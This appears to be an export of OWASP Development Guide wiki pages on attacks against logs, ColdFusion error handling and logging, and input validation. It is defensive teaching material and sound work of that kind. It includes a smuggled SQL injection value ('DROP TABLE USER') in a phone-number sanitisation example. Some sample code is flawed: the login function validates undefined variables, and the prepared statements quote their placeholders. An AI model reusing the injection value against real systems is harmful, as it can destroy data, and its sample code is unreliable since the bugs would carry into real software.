==Cover Tracks ==

The top prize in logging mechanism attacks goes to the contender who can delete or manipulate log entries at a granular level, "as though the event never even happened!". Intrusion and deployment of rootkits allows an attacker to utilize specialized tools that may assist or automate the manipulation of known log files. In most cases, log files may only be manipulated by users with root / administrator privileges, or via approved log manipulation applications. As a general rule, logging mechanisms should aim to prevent manipulation at a granular level since an attacker can hide their tracks for a considerable length of time without being detected. Simple question; if you were being compromised by an attacker, would the intrusion be more obvious if your log file was abnormally large or small, or if it appeared like every other day's log?

===How to protect yourself ===

Assign log files the highest security protection, providing reassurance that you always have an effective 'black box' recorder if things go wrong. This includes:

*Applications should not run with Administrator, or root-level privileges. This is the main cause of log file manipulation success since super users typically have full file system access. Assume the worst case scenario and suppose your application is exploited. Would there be any other security layers in place to prevent the application's user privileges from manipulating the log file to cover tracks?

*Ensuring that access privileges protecting the log files are restrictive, reducing the majority of operations against the log file to alter and read.

*Ensuring that log files are assigned object names that are not obvious and stored in a safe location of the file system.

*Writing log files using publicly or formally scrutinized techniques in an attempt to reduce the risk associated with reverse engineering or log file manipulation.

*Writing log files to read-only media (where event log integrity is of critical importance).

*Use of hashing technology to create digital fingerprints. The idea is that if an attacker does manipulate the log file, then the digital fingerprint will not match and an alert generated.

*Use of host-based IDS technology where normal behavioral patterns can be 'set in stone'. Attempts by attackers to update the log file through anything but the normal approved flow would generate an exception and the intrusion can be detected and blocked. This is one security control that can safeguard against simplistic administrator attempts at modifications.

==False Alarms ==

Taking cue from the classic 1966 film "How to Steal a Million", or similarly the fable of Aesop; "The Boy Who Cried Wolf", be wary of repeated false alarms, since this may represent an attacker's actions in trying to fool the security administrator into thinking that the technology is faulty and not to be trusted until it can be fixed.

===How to protect yourself ===

Simply be aware of this type of attack, take every security violation seriously, always get to the bottom of the cause event log errors rather, and don't just dismiss errors unless you can be completely sure that you know it to be a technical problem.

===Denial of Service ===

By repeatedly hitting an application with requests that cause log entries, multiply this by ten thousand, and the result is that you have a large log file and a possible headache for the security administrator. Where log files are configured with a fixed allocation size, then once full, all logging will stop and an attacker has effectively denied service to your logging mechanism. Worse still, if there is no maximum log file size, then an attacker has the ability to completely fill the hard drive partition and potentially deny service to the entire system. This is becoming more of a rarity though with the increasing size of today's hard disks.

===How to protect yourself ===

The main defense against this type of attack are to increase the maximum log file size to a value that is unlikely to be reached, place the log file on a separate partition to that of the operating system or other critical applications and best of all, try to deploy some kind of system monitoring application that can set a threshold against your log file size and/or activity and issue an alert if an attack of this nature is underway.

==Destruction ==

Following the same scenario as the Denial of Service above, if a log file is configured to cycle round overwriting old entries when full, then an attacker has the potential to do the evil deed and then set a log generation script into action in an attempt to eventually overwrite the incriminating log entries, thus destroying them.

If all else fails, then an attacker may simply choose to cover their tracks by purging all log file entries, assuming they have the privileges to perform such actions. This attack would most likely involve calling the log file management program and issuing the command to clear the log, or it may be easier to simply delete the object which is receiving log event updates (in most cases, this object will be locked by the application). This type of attack does make an intrusion obvious assuming that log files are being regularly monitored, and does have a tendency to cause panic as system administrators and managers realize they have nothing upon which to base an investigation on.

===How to protect yourself ===

Following most of the techniques suggested above will provide good protection against this attack. Keep in mind two things:

*Administrative users of the system should be well trained in log file management and review. 'Ad-hoc' clearing of log files is never advised and an archive should always be taken. Too many times a log file is cleared, perhaps to assist in a technical problem, erasing the history of events for possible future investigative purposes.

*An empty security log does not necessarily mean that you should pick up the phone and fly the forensics team in. In some cases, security logging is not turned on by default and it is up to you to make sure that it is. Also, make sure it is logging at the right level of detail and benchmark the errors against an established baseline in order measure what is considered 'normal' activity.

==Audit Trails ==

Audit trails are legally protected in many countries, and should be logged into high integrity destinations to prevent casual and motivated tampering and destruction.

===How to determine if you are vulnerable ===

* Do the logs transit in the clear between the logging host and the destination?

* Do the logs have a HMAC or similar tamper proofing mechanism to prevent change from the time of the logging activity to when it is reviewed?

* Can relevant logs be easily extracted in a legally sound fashion to assist with prosecutions?

===How to protect yourself ===

* Only audit truly important events – you have to keep audit trails for a long time, and debug or informational messages are wasteful

* Log centrally as appropriate and ensure primary audit trails are not kept on vulnerable systems, particularly front end web servers

* Only review copies of the logs, not the actual logs themselves

* Ensure that audit logs are sent to trusted systems

* For highly protected systems, use write-once media or similar to provide trust worthy long term log repositories

* For highly protected systems, ensure there is end-to-end trust in the logging mechanism. World writeable logs, logging agents without credentials (such as SNMP traps, syslog etc) are legally vulnerable to being excluded from prosecution

==Further Reading ==

* Oracle Auditing

http://www.sans.org/atwork/description.php?cid=738 [[category:FIXME|broken link]]

* Sarbanes Oxley for IT security

http://www.securityfocus.com/columnists/322

* Java Logging Overview
http://java.sun.com/javase/6/docs/technotes/guides/logging/overview.html

==Error Handling and Logging ==

All applications have failures – whether they occur during compilation or runtime. Most programming languages will throw runtime exceptions for illegally executing code (e.g. syntax errors) often in the form of cryptic system messages. These failures and resulting system messages can lead to several security risks if not handled properly including; enumeration, buffer attacks, sensitive information disclosure, etc. If an attack occurs it is important that forensics personnel be able to trace the attacker’s tracks via adequate logging.

ColdFusion provides structured exception handling and logging tools. These tools can help developers customize error handling to prevent unwanted disclosure, and provide customized logging for error tracking and audit trails. These tools should be combined with web server, J2EE application server, and operating system tools to create the full system/application security overview.

'''Error Handling'''

Hackers can use the information exposed by error messages. Even missing templates errors (HTTP 404) can expose your server to attacks (e.g. buffer overflow, XSS, etc.). If you enable the Robust Exception Information debugging option, ColdFusion will display:

Physical path of template

URI of template

Line number and line snippet

SQL statement used (if any)

Data source name (if any)

Java stack trace

ColdFusion provides tags and functions for developers to use to customize error handling. Administrators can specify default templates in the ColdFusion Administrator (CFAM) to handle unknown or unhandled exceptions. ColdFusion’s structure exception handling works in the following order:

Template level (ColdFusion templates and components)

ColdFusion exception handling tags: cftry, cfcatch, cfthrow, and cfrethrow

try and catch statements in CFScript

Application level (Application.cfc/cfm)

Specify custom templates for individual exceptions types with the cferror tag

Application.cfc onError method to handle uncaught application exceptions

System level (ColdFusion Administrator settings)

Missing Template Handler execute when a requested ColdFusion template is not found

Site-wide Error Handler executes globally for all unhandled exceptions on the server

'''Best Practices '''

*Do not allow exceptions to go unhandled

*Do not allow any exceptions to reach the browser

*Display custom error pages to users with an email link for feedback

*Do not enable “Robust Exception Information” in production.

*Specify custom pages for ColdFusion to display in each of the following cases:
**When a ColdFusion page is missing (the Missing Template Handler page)
**When an otherwise-unhandled exception error occurs during the processing of a page (the Site-wide Error Handler page)
**You specify these pages on the Settings page in the Server Settings are in the ColdFusion MX Administrator; for more information, see the ColdFusion MX Administrator Help.

*Use the cferror tag to specify ColdFusion pages to handle specific types of errors.

*Use the cftry, cfcatch, cfthrow, and cfrethrow tags to catch and handle exception errors directly on the page where they occur.

*In CFScript, use the try and catch statements to handle exceptions.

*Use the onError event in Application.cfc to handle exception errors that are not handled by try/catch code on the application pages.

'''Logging'''

Log files can help with application debugging and provide audit trails for attack detection. ColdFusion provides several logs for different server functions. It leverages the Apache Log4j libraries for customized logging. It also provides logging tags to assist in application debugging.

The following is a partial list of ColdFusion log files and their descriptions''' '''

{| border=1

|| Log file || Description

|-

|| application.log || Records every ColdFusion MX error reported to a user. Application page errors, including ColdFusion MX syntax, ODBC, and SQL errors, are written to this log file.

|-

|| exception.log || Records stack traces for exceptions that occur in ColdFusion.

|-

|| scheduler.log || Records scheduled events that have been submitted for execution. Indicates whether task submission was initiated and whether it succeeded. Provides the scheduled page URL, the date and time executed, and a task ID.

|-

|| server.log || Records start up messages and errors for ColdFusion MX.

|-

|| customtag.log || Records errors generated in custom tag processing.

|-

|| mail.log || Records errors generated by an SMTP mail server.

|-

|| mailsent.log || Records messages sent by ColdFusion MX.

|-

|| flash.log || Records entries for Macromedia Flash Remoting.

|-

|}

The CFAM contains the Logging Settings and log viewer screens. Administrators can configure the log directory, maximum log file size, and maximum number of archives. It also allows administrators to log slow running pages, CORBA calls, and scheduled task execution. The log viewer allows viewing, filtering, and searching of any log files in the log directory (default is cf_root/logs). Administrators can archive, save, and delete log files as well.

The cflog and cftrace tags allow developer to create customized logging. <cflog> can write custom messages to the Application.log, Scheduler.log, or a custom log file. The custom log file must be in the default log directory – if it does not exist ColdFusion will create it. <cftrace> tracks execution times, logic flow, and variable at the time the tag executes. It records the data in the cftrace.log (in the default logs directory) and can display this info either inline or in the debugging output of the current page request. Use <cflog> to write custom error messages, track user logins, and record user activity to a custom log file. Use <cftrace> to track variables and application state within running requests.

'''Best Practices'''

*Use <cflog> for customized logging

*Incorporate into custom error handling

*Record application specific messages

*Actively monitor and fix errors in ColdFusion’s logs

*Optimize logging settings

*Rotate log files to keep them current

*Keep files size manageable

*Enable logging of slow running pages

*Set the time interval lower than the configured Timeout Request value in the CFAM Settings screen

*Long running page timings are recorded in the server.log

*Use <cftrace> sparingly for audit trails

*Use with inline=“false”

*Use it to track user input – Form and/or URL variables

'''''Best Practices in Action'''''

The following code adds error handling and logging to the dbLogin and logout methods in the code from Authentication section.

<pre>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

</pre>

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Error Handling]]
[[Category:Logging]]
[[Category:OWASP Logging Project]]

Data Validation

2009-05-01T12:13:21Z

KirstenS: /* Data Validation and Interpreter Injection */

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that the application is robust against all forms of input data, whether obtained from the user, infrastructure, external entities or database systems.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS11 – Manage Data. All sections should be reviewed

==Description ==

The most common web application security weakness is the failure to properly validate input from the client or environment. This weakness leads to almost all of the major vulnerabilities in applications, such as [[Interpreter Injection]], locale/Unicode attacks, file system attacks and buffer overflows. Data from the client should never be trusted for the client has every possibility to tamper with the data.

In many cases, [[Encoding]] has the potential to defuse attacks that rely on lack of input validation. For example, if you use HTML entity encoding on user input before it is sent to a browser, it will prevent most [[Cross-site Scripting (XSS)|XSS]] attacks. However, simply preventing attacks is not enough - you must perform [[Intrusion Detection]] in your applications. Otherwise, you are allowing attackers to repeatedly attack your application until they find a vulnerability that you haven't protected against. Detecting attempts to find these weaknesses is a critical protection mechanism.

==Definitions ==

These definitions are used within this document:

* '''Integrity checks'''

Ensure that the data has not been tampered with and is the same as before

* '''Validation'''

Ensure that the data is strongly typed, correct syntax, within length boundaries, contains only permitted characters, or that numbers are correctly signed and within range boundaries

* '''Business rules'''

Ensure that data is not only validated, but business rule correct. For example, interest rates fall within permitted boundaries.

Some documentation and references interchangeably use the various meanings, which is very confusing to all concerned. This confusion directly causes continuing financial loss to the organization.

==Where to include integrity checks ==

Integrity checks must be included wherever data passes from a trusted to a less trusted boundary, such as from the application to the user's browser in a hidden field, or to a third party payment gateway, such as a transaction ID used internally upon return.

The type of integrity control (checksum, HMAC, encryption, digital signature) should be directly related to the risk of the data transiting the trust boundary.

==Where to include validation ==

Validation must be performed on every tier. However, validation should be performed as per the function of the server executing the code. For example, the web / presentation tier should validate for web related issues, persistence layers should validate for persistence issues such as SQL / HQL injection, directory lookups should check for LDAP injection, and so on.

==Where to include business rule validation ==

Business rules are known during design, and they influence implementation. However, there are bad, good and "best" approaches. Often the best approach is the simplest in terms of code.

===Example - Scenario ===

* You are to populate a list with accounts provided by the back-end system
* The user will choose an account, choose a biller, and press next

===Wrong way===

The account select option is read directly and provided in a message back to the backend system without validating the account number if one of the accounts provided by the backend system.

===Why this is bad===

An attacker can change the HTML in any way they choose:

* The lack of validation requires a round-trip to the backend to provide an error message that the front end code could easily have eliminated

* The back end may not be able to cope with the data payload the front-end code could have easily eliminated. For example, buffer overflows, XML injection, or similar.

===Acceptable Method ===

The account select option parameter ("payee_id") is read by the code, and compared to an already-known list.

<code>
<pre>
if (account.hasPayee( session.getParameter("payee_id") )) {
backend.performTransfer( session.getParameter("payee_id") );
}
</pre>
</code>

This prevents parameter tampering, but requires the list of possible payee_id's to be to be calculated beforehand.

===Best Method ===

The original code emitted indexes <option value="1" ... > rather than account names.

''int payeeLstId = session.getParameter('payeelstid');''

''accountFrom = account.getAcctNumberByIndex(payeeLstId);''

Not only is this easier to render in HTML, it makes validation and business rule validation trivial. The field cannot be tampered with.



===Conclusion ===

To provide defense in depth and to prevent attack payloads from trust boundaries, such as backend hosts, which are probably incapable of handling arbitrary input data, business rule validation is to be performed (preferably in workflow or command patterns), even if it is known that the back end code performs business rule validation.

This is not to say that the entire set of business rules need be applied - it means that the fundamentals are performed to prevent unnecessary round trips to the backend and to prevent the backend from receiving most tampered data.

==Data Validation Strategies ==

There are four strategies for validating data, and they should be used in this order:

===Accept known good===

This strategy is also known as "whitelist" or "positive" validation. The idea is that you should check that the data is one of a set of tightly constrained known good values. Any data that doesn't match should be rejected. Data should be:

* Strongly typed at all times
* Length checked and fields length minimized
* Range checked if a numeric
* Unsigned unless required to be signed
* Syntax or grammar should be checked prior to first use or inspection

If you expect a postcode, validate for a postcode (type, length and syntax):

<code>
<pre>
public String isPostcode(String postcode) {
return (postcode != null && Pattern.matches("^(((2|8|9)\d{2})|((02|08|09)\d{2})|([1-9]\d{3}))$", postcode)) ? postcode : "";
}
</pre>
</code>

Coding guidelines should use some form of visible tainting on input from the client or untrusted sources, such as third party connectors to make it obvious that the input is unsafe:

<code>
<pre>
String taintPostcode = request.getParameter("postcode");
ValidationEngine validator = new ValidationEngine();
boolean isValidPostcode = validator.isPostcode(taintPostcode);
</pre>
</code>

===Reject known bad===

This strategy, also known as "negative" or "blacklist" validation is a weak alternative to positive validation. Essentially, if you don't expect to see characters such as %3f or JavaScript or similar, reject strings containing them. This is a dangerous strategy, because the set of possible bad data is potentially infinite. Adopting this strategy means that you will have to maintain the list of "known bad" characters and patterns forever, and you will by definition have incomplete protection.

<pre>

public String removeJavascript(String input) {

Pattern p = Pattern.compile("javascript", CASE_INSENSITIVE);

p.matcher(input);

return (!p.matches()) ? input : '';

}
</pre>
[[Category:FIXME|Is the CSS Cheat Sheet in the current development guide? I wanted to link to that and couldn't find it ]]
It can take upwards of 90 regular expressions (see the CSS Cheat Sheet in the Development Guide 2.0) to eliminate known malicious software, and each regex needs to be run over every field. Obviously, this is slow and not secure. Just rejecting "current known bad" (which is at the time of writing hundreds of strings and literally millions of combinations) is insufficient if the input is a string. This strategy is directly akin to anti-virus pattern updates. Unless the business will allow updating "bad" regexes on a daily basis and support someone to research new attacks regularly, this approach will be obviated before long.

===Sanitize===

Rather than accept or reject input, another option is to change the user input into an acceptable format

==== Sanitize with Whitelist ====

Any characters which are not part of an approved list can be removed, encoded or replaced.

Here are some examples:

If you expect a phone number, you can strip out all non-digit characters. Thus, "(555)123-1234", "555.123.1234", and "555\";DROP TABLE USER;--123.1234" all convert to 5551231234. Note that you should proceed to validate the resulting numbers as well. As you see, this is not only beneficial for security, but it also allows you to accept and use a wider range of valid user input.

If you want text from a user comment form, it is difficult to decide on a legitimate set of characters because nearly every character has a legitimate use. One solution is to replace all non alphanumeric characters with an encoded version, so "I like your web page", might emerge from your sanitation routines as "I+like+your+web+page%21". (This example uses [http://en.wikipedia.org/wiki/Url_encoding URL encoding].)

You can also go one step further. Say you want to set up a site where users can upload arbitrary files so they can share them or download them again from another location. In this case validation is impossible because there is no valid or invalid content. Because your only concern is protecting your app from malicious input and you don't need to actually do anything except accept, store and transmit the file, you can encode the entire file in, say [http://en.wikipedia.org/wiki/Base64 base 64].

==== Sanitize with Blacklist ====

Eliminate or translate characters (such as to HTML entities or to remove quotes) in an effort to make the input "safe".
Like blacklists, this approach requires maintenance and is usually incomplete. As most fields have a particular grammar, it is simpler, faster, and more secure to simply validate a single correct positive test than to try to include complex and slow sanitization routines for all current and future attacks.

<code>
<pre>
public String quoteApostrophe(String input) {
if (input != null)
return input.replaceAll("[\']", "&rsquo;");
else
return null;
}
</pre>
</code>

===No validation===

This is inherently unsafe and strongly discouraged. The business must sign off each and every example of no validation as the lack of validation usually leads to direct obviation of application, host and network security controls.

account.setAcctId(getParameter('formAcctNo'));
...

public setAcctId(String acctId) {
cAcctId = acctId;
}

==Prevent parameter tampering ==

There are many input sources:

* HTTP headers, such as REMOTE_ADDR, PROXY_VIA or similar

* Environment variables, such as getenv() or via server properties

* All GET, POST and Cookie data

This includes supposedly tamper resistant fields such as radio buttons, drop downs, etc - any client side HTML can be re-written to suit the attacker

Configuration data (mistakes happen :))

External systems (via any form of input mechanism, such as XML input, RMI, web services, etc)

All of these data sources supply untrusted input. Data received from untrusted data sources must be properly checked before first use.

==Hidden fields ==

Hidden fields are a simple way to avoid storing state on the server. Their use is particularly prevalent in "wizard-style" multi-page forms. However, their use exposes the inner workings of your application, and exposes data to trivial tampering, replay, and validation attacks. In general, only use hidden fields for page sequence.

If you have to use hidden fields, there are some rules:

* Secrets, such as passwords, should never be sent in the clear

* Hidden fields need to have integrity checks and preferably encrypted using non-constant initialization vectors (i.e. different users at different times have different yet cryptographically strong random IVs)

* Encrypted hidden fields must be robust against replay attacks, which means some form of temporal keying

* Data sent to the user must be validated on the server once the last page has been received, even if it has been previously validated on the server - this helps reduce the risk from replay attacks.

The preferred integrity control should be at least a HMAC using SHA-256 or preferably digitally signed or encrypted using PGP. IBMJCE supports SHA-256, but PGP JCE support require the inclusion of the Legion of the Bouncy Castle (http://www.bouncycastle.org/) JCE classes.

It is simpler to store this data temporarily in the session object. Using the session object is the safest option as data is never visible to the user, requires (far) less code, nearly no CPU, disk or I/O utilization, less memory (particularly on large multi-page forms), and less network consumption.

In the case of the session object being backed by a database, large session objects may become too large for the inbuilt handler. In this case, the recommended strategy is to store the validated data in the database, but mark the transaction as "incomplete." Each page will update the incomplete transaction until it is ready for submission. This minimizes the database load, session size, and activity between the users whilst remaining tamperproof.

Code containing hidden fields should be rejected during code reviews.

==ASP.NET Viewstate ==

ASP.NET sends form data back to the client in a hidden “Viewstate” field. Despite looking forbidding, this “encryption” is simply plain-text equivalent (base64 encoding) and has no data integrity without further action on your behalf in ASP.NET 1.0. In ASP.NET 1.1 and 2.0, tamper proofing, called "enableViewStateMAC" is on by default using a SHA-1 hash.

Any application framework with a similar mechanism might be at fault – you should investigate your application framework’s support for sending data back to the user. Preferably it should not round trip.

===How to determine if you are vulnerable ===

These configurations are set hierarchically in the .NET framework. The machine.config file contains the global configuration; each web directory may contain a web.config file further specifying or overriding configuration; each page may contain @page directives specifying same configuration or overrides; you must check all three locations:

* If the enableViewStateMac is not set to “true”, you are at risk if your viewstate contains authorization state

* If the viewStateEncryptionMode is not set to “always”, you are at risk if your viewstate contains secrets such as credentials

* If you share a host with many other customers, you all share the same machine key by default in ASP.NET 1.1. In ASP.NET 2.0, it is possible to configure unique viewstate keys per application

===How to protect yourself ===

* If your application relies on data returning from the viewstate without being tampered with, you should turn on viewstate integrity checks at the least, and strongly consider:

* Encrypt viewstate if any of the data is application sensitive

* Upgrade to ASP.NET 2.0 as soon as practical if you are on a shared hosting arrangement

* Move truly sensitive viewstate data to the session variable instead

===Selects, radio buttons, and checkboxes ===

It is a commonly held belief that the value settings for these items cannot be easily tampered. This is wrong. In the following example, actual account numbers are used, which can lead to compromise:

<pre>

<html:radio value="<%=acct.getCardNumber(1).toString( )%>" property="acctNo">

<bean:message key="msg.card.name" arg0="<%=acct.getCardName(1).toString( )%>" />

<html:radio value="<%=acct.getCardNumber(1).toString( )%>" property="acctNo">

<bean:message key="msg.card.name" arg0="<%=acct.getCardName(2).toString( )%>" />
</pre>

This produces (for example):

<pre>
<input type="radio" name="acctNo" value="455712341234">Gold Card

<input type="radio" name="acctNo" value="455712341235">Platinum Card
</pre>

If the value is retrieved and then used directly in a SQL query, an interesting form of SQL injection may occur: authorization tampering leading to information disclosure. As the connection pool connects to the database using a single user, it may be possible to see other users' accounts if the SQL looks something like this:

<pre>
String acctNo = getParameter('acctNo');

String sql = "SELECT acctBal FROM accounts WHERE acctNo = '?'";

PreparedStatement st = conn.prepareStatement(sql);

st.setString(1, acctNo);

ResultSet rs = st.executeQuery();
</pre>

This should be re-written to retrieve the account number via index, and include the client's unique ID to ensure that other valid account numbers are exposed:

<pre
String acctNo = acct.getCardNumber(getParameter('acctIndex'));

String sql = "SELECT acctBal FROM accounts WHERE acct_id = '?' AND acctNo = '?'";

PreparedStatement st = conn.prepareStatement(sql);

st.setString(1, acct.getID());

st.setString(2, acctNo);

ResultSet rs = st.executeQuery();

</pre>

This approach requires rendering input values from 1 to ... x, and assuming accounts are stored in a Collection which can be iterated using logic:iterate:

<pre>

<logic:iterate id="loopVar" name="MyForm" property="values">

<html:radio property="acctIndex" idName="loopVar" value="value"/> 

<bean:write name="loopVar" property="name"/> 

</logic:iterate>

</pre>

The code will emit HTML with the values "1" .. "x" as per the collection's content.

<pre>

<input type="radio" name="acctIndex" value="1" />Gold Credit Card

<input type="radio" name="acctIndex" value="2" />Platinum Credit Card

</pre>

This approach should be used for any input type that allows a value to be set: radio buttons, checkboxes, and particularly select / option lists.

===Per-User Data ===

In fully normalized databases, the aim is to minimize the amount of repeated data. However, some data is inferred. For example, users can see messages that are stored in a messages table. Some messages are private to the user. However, in a fully normalized database, the list of message IDs are kept within another table:

<pre>
+------------------------+
| MESSAGES |
+------------------------+
| msgid | message |
+------------------------+
</pre>

If a user marks a message for deletion, the usual way is to recover the message ID from the user, and delete that:

DELETE FROM message WHERE msgid='frmMsgId'

However, how do you know if the user is eligible to delete that message ID? Such tables need to be denormalized slightly to include a user ID or make it easy to perform a single query to delete the message safely. For example, by adding back an (optional) uid column, the delete is now made reasonably safe:

DELETE FROM message WHERE uid='session.myUserID' and msgid='frmMsgId';

Where the data is potentially both a private resource and a public resource (for example, in the secure message service, broadcast messages are just a special type of private message), additional precautions need to be taken to prevent users from deleting public resources without authorization. This can be done using role based checks, as well as using SQL statements to discriminate by message type:

DELETE FROM message
WHERE
uid='session.myUserID' AND
msgid='frmMsgId' AND
broadcastFlag = false;

==URL encoding ==

Data sent via the URL, which is strongly discouraged, should be URL encoded and decoded. This reduces the likelihood of cross-site scripting attacks from working.

In general, do not send data via GET request unless for navigational purposes.

==HTML encoding ==

Data sent to the user needs to be safe for the user to view. This can be done using <bean:write ...> and friends. Do not use <%=var%> unless it is used to supply an argument for <bean:write...> or similar.

HTML encoding translates a range of characters into their HTML entities. For example, > becomes &gt; This will still display as > on the user's browser, but it is a safe alternative.

==Encoded strings ==

Some strings may be received in encoded form. It is essential to send the correct locale to the user so that the web server and application server can provide a single level of canoncalization prior to the first use.

Do not use getReader() or getInputStream() as these input methods do not decode encoded strings. If you need to use these constructs, you must decanoncalize data by hand.

==Data Validation and Interpreter Injection ==

This section focuses on preventing injection in ColdFusion. Interpreter Injection involves manipulating application parameters to execute malicious code on the system. The most prevalent of these is SQL injection but it also includes other injection techniques, including LDAP, ORM, User Agent, XML, etc. – see [[Reviewing_Code_for_OS_Injection|Interpreter Injection]] for greater details. As a developer you should assume that all input is malicious. Before processing any input coming from a user, data source, component, or data service it should be validated for type, length, and/or range. ColdFusion includes support for Regular Expressions and CFML tags that can be used to validate input.

'''SQL Injection'''

[[SQL Injection]] involves sending extraneous SQL queries as variables. ColdFusion provides the <cfqueryparam> and <cfprocparam> tags for validating database parameters. These tags nests inside <cfquery> and <cfstoredproc>, respectively. For dynamic SQL submitted in <cfquery>, use the CFSQLTYPE attribute of the <cfqueryparam> to validate variables against the expected database datatype. Similarly, use the CFSQLTYPE attribute of <cfprocparam> to validate the datatypes of stored procedure parameters passed through <cfstoredproc>.

You can also strengthen your systems against SQL Injection by disabling the Allowed SQL operations for individual data sources. See the '''Configuration''' section below for more information.

'''LDAP Injection'''

[[LDAP injection]] is an attack used to exploit web based applications that construct LDAP statements based on user input. ColdFusion uses the <cfldap> tag to communicate with LDAP servers. This tag has an ACTION attribute which dictates the query performed against the LDAP. The valid values for this attribute are: add, delete, query (default), modify, and modifyDN. <cfldap> calls are turned into JNDI (Java Naming And Directory Interface) lookups. However, because <cfldap> wraps the calls, it will throw syntax errors if native JNDI code is passed to its attributes making LDAP injection more difficult.

'''XML Injection'''

Two parsers exist for XML data – SAX and DOM. ColdFusion uses DOM which reads the entire XML document into the server’s memory. This requires the administrator to restrict the size of the JVM containing ColdFusion. ColdFusion is built on Java therefore by default, entity references are expanded during parsing. To prevent unbounded entity expansion, before a string is converted to an XML DOM, filter out DOCTYPES elements.

After the DOM has been read, to reduce the risk of XML Injection use the ColdFusion XML decision functions: isXML(), isXmlAttribute(), isXmlElement(), isXmlNode(), and isXmlRoot(). The isXML() function determines if a string is well-formed XML. The other functions determine whether or not the passed parameter is a valid part of an XML document. Use the xmlValidate() function to validate external XML documents against a Document Type Definition (DTD) or XML Schema.

'''Event Gateway, IM, and SMS Injection'''

ColdFusion MX 7 enables Event Gateways, instant messaging (IM), and SMS (short message service) for interacting with external systems. Event Gateways are ColdFusion components that respond asynchronously to non-HTTP requests – e.g. instant messages, SMS text from wireless devices, etc. ColdFusion provides Lotus Sametime and XMPP (Extensible Messaging and Presence Protocol) gateways for instant messaging. It also provides an event gateway for interacting with SMS text messages.

Injection along these gateways can happen when end users (and/or systems) send malicious code to execute on the server. These gateways all utilize ColdFusion Components (CFCs) for processing. Use standard ColdFusion functions, tags, and validation techniques to protect against malicious code injection. Sanitize all input strings and do not allow un-validated code to access backend systems.

'''Best Practices'''

*Use the XML functions to validate XML input.

*Before performing XPath searches and transformations in ColdFusion, validate the source before executing.

*Use ColdFusion validation techniques to sanitize strings passed to xmlSearch for performing XPath queries.

*When performing XML transformations only use a trusted source for the XSL stylesheet.

*Ensure that the memory size of the Java Sandbox containing ColdFusion can handle large XML documents without adversely affecting server resources.

*Set the memory value to less than the amount of RAM on the server (-Xmx).

*Remove DOCTYPE elements from the XML string before converting it to an XML object.

*Using scriptProtect can be used to thwart most attempts of cross-site scripting. Set scriptProtect to All in the Application.cfc.

*Use <cfparam> or <cfargument> to instantiate variables in ColdFusion. Use this tag with the name and type attributes. If the value is not of the specified type, ColdFusion returns an error.

*To handle untyped variables use IsValid() to validate its value against any legal object type that ColdFusion supports.

*Use <cfqueryparam> and <cfprocparam> to valid dynamic SQL variables against database datatypes.

*Use CFLDAP for accessing LDAP servers. Avoid allowing native JNDI calls to connect to LDAP.

'''Best Practice in Action'''

The sample code below shows a database authentication function using some of the input validation techniques discussed in this section.

<pre>
<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

